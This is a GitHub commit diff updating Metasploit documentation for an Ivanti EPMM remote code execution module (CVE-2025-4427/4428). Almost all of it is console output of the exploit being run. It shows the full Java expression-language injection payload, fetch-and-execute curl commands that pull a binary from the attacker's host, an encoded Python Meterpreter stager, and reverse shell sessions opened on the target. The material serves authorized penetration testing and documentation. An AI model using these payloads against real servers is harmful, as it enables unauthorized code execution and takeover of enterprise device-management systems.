Skip to content

Commit 97f3083

Browse files
remmons-r7bwatters-r7
remmons-r7
and
bwatters-r7
authored
Update documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md
 Update docs to reflect the new Python payload approach Co-authored-by: Brendan <[email protected]>
1 parent 6c8394c commit 97f3083

File tree

1 file changed

+24
-68
lines changed

1 file changed

+24
-68
lines changed

‎documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md‎

Lines changed: 24 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -24,42 +24,28 @@ No custom options exist for this module.
2424
## Scenarios
2525
### Ivanti EPMM (MobileIron Core) Linux Target
2626
```
27-
msf6 > use exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428
28-
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
29-
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > show options
27+
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > show options
3028
3129
Module options (exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428):
3230
3331
Name Current Setting Required Description
3432
---- --------------- -------- -----------
35-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
36-
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
33+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, so
34+
cks4, socks5, socks5h, http
35+
RHOSTS 10.5.132.244 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
36+
asploit.html
3737
RPORT 443 yes The target port (TCP)
3838
SSL true yes Negotiate SSL/TLS for outgoing connections
3939
TARGETURI / yes The base path to Ivanti EPMM
4040
VHOST no HTTP server virtual host
4141
4242
43-
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
43+
Payload options (python/meterpreter/reverse_tcp):
4444
45-
Name Current Setting Required Description
46-
---- --------------- -------- -----------
47-
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
48-
FETCH_DELETE false yes Attempt to delete the binary after execution
49-
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
50-
FETCH_SRVHOST no Local IP to use for serving payload
51-
FETCH_SRVPORT 8080 yes Local port to use for serving payload
52-
FETCH_URIPATH no Local URI to use for serving payload
53-
LHOST yes The listen address (an interface may be specified)
54-
LPORT 4444 yes The listen port
55-
56-
57-
When FETCH_FILELESS is false:
58-
59-
Name Current Setting Required Description
60-
---- --------------- -------- -----------
61-
FETCH_FILENAME EUAqTWOdJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
62-
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
45+
Name Current Setting Required Description
46+
---- --------------- -------- -----------
47+
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
48+
LPORT 4444 yes The listen port
6349
6450
6551
Exploit target:
@@ -72,51 +58,21 @@ Exploit target:
7258
7359
View the full module info with the info, or info -d command.
7460
75-
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set RHOSTS 192.168.181.148
76-
RHOSTS => 192.168.181.148
77-
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set LHOST 192.168.181.129
78-
LHOST => 192.168.181.129
79-
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set FETCH_SRVPORT 9191
80-
FETCH_SRVPORT => 9191
81-
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > set VERBOSE true
82-
VERBOSE => true
83-
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > check
84-
[*] Payload pt. 1/1: id
85-
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id').getInputStream()).useDelimiter('%5C%5CA').next()}
86-
[*] Command pt 1 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'."]}]}
87-
[+] 192.168.181.148:443 - The target is vulnerable. Successfully executed command
8861
msf6 exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > run
89-
[*] Command to run on remote host: curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw;chmod +x /var/tmp/lktEmYrRyAfw;/var/tmp/lktEmYrRyAfw&
90-
[*] Fetch handler listening on 192.168.181.129:9191
91-
[*] HTTP server started
92-
[*] Adding resource /rwwkKagVT2DQx25BSXklfw
93-
[*] Started reverse TCP handler on 192.168.181.129:4444
94-
[*] Running automatic check ("set AutoCheck false" to disable)
95-
[*] Payload pt. 1/1: id
96-
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id').getInputStream()).useDelimiter('%5C%5CA').next()}
97-
[*] Command pt 1 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)\n' is invalid. Valid formats are 'json', 'csv'."]}]}
98-
[+] The target is vulnerable. Successfully executed command
62+
[*] Started reverse TCP handler on 10.5.135.201:4444
63+
[!] AutoCheck is disabled, proceeding with exploitation
9964
[*] Attempting to execute payload
100-
[*] Payload pt. 1/3: curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw
101-
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw').getInputStream()).useDelimiter('%5C%5CA').next()}
102-
[*] Client 192.168.181.148 requested /rwwkKagVT2DQx25BSXklfw
103-
[*] Sending payload to 192.168.181.148 (curl/7.29.0)
104-
[*] Command pt 1 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -so /var/tmp/lktEmYrRyAfw http://192.168.181.129:9191/rwwkKagVT2DQx25BSXklfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'."]}]}
105-
[*] Payload pt. 2/3: chmod +x /var/tmp/lktEmYrRyAfw
106-
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('chmod +x /var/tmp/lktEmYrRyAfw').getInputStream()).useDelimiter('%5C%5CA').next()}
107-
[*] Command pt 2 response: {"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('chmod +x /var/tmp/lktEmYrRyAfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format '${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('chmod +x /var/tmp/lktEmYrRyAfw').getInputStream()).useDelimiter('%5C%5CA').next()}' is invalid. Valid formats are 'json', 'csv'."]}]}
108-
[*] Payload pt. 3/3: /var/tmp/lktEmYrRyAfw &
109-
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('/var/tmp/lktEmYrRyAfw &').getInputStream()).useDelimiter('%5C%5CA').next()}
110-
[*] Meterpreter session 1 opened (192.168.181.129:4444 -> 192.168.181.148:38980) at 2025-05-28 16:31:52 -0500
111-
[*] No command pt 3 response expected
112-
113-
meterpreter > getuid
65+
[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('python3 -c exec(__import__("base64").b64decode("ZXhlYyhfX2ltcG9ydF9fKCd6bGliJykuZGVjb21wcmVzcyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19pbXBvcnRfXygnY29kZWNzJykuZ2V0ZW5jb2RlcigndXRmLTgnKSgnZU5vOVVFMUx4REFRUFRlL0lyY2tHRU83dG50WXJDRGlRVVFFMTV1SXRNbW9vV2tTa3F4V3hmOXVReGJuTU1PYmVmUG1ROC9laFlTamt4TWsvbTMweU1jaHdyYmxNWVdEVER6cEdkQ3JDM2pCMnVJdzJEZWdUYzEycUVyaGEvVlY3RXV6S0lGdStCSHY3Njl1WC9hUEQ5ZVhkeXp6aEhUV2dreVVrcVlXbldqT09yR3BHOExiMVZpbWpBR0dDVld3U1BBcGErZmhJaG9BVHp1R1RGOTJFZ2ZyQnpsUmNuRkRlQlFCNUFkZEJaN3FaNlQ2SXpZTWZiNXJBOWlBcFlxZG0xVk9uZnhYVDB1YUlWaEEwbnkyVUNEZDdBUEVTTXNIeExodGMxSkJadklmRXNrdS9qTDBCOGd3WHZBPScpWzBdKSkp"))').getInputStream()).useDelimiter('%5C%5CA').next()}
66+
[*] Sending stage (24768 bytes) to 10.5.132.244
67+
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.244:50322) at 2025-06-03 13:38:16 -0500
68+
meterpreter > sysinfo
69+
Computer : ivanti.example.local
70+
OS : Linux 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020
71+
Architecture : x64
72+
System Language : en_US
73+
Meterpreter : python/linux
74+
meterpreter > getuid
11475
Server username: tomcat
115-
meterpreter > sysinfo
116-
Computer : core.mobileiron.local
117-
OS : CentOS 7.6.1810 (Linux 3.10.0-1160.6.1.el7.x86_64)
118-
Architecture : x64
119-
BuildTuple : x86_64-linux-musl
120-
Meterpreter : x64/linux
121-
meterpreter >
76+
meterpreter > exit
77+
12278
```

0 commit comments

Comments
 (0)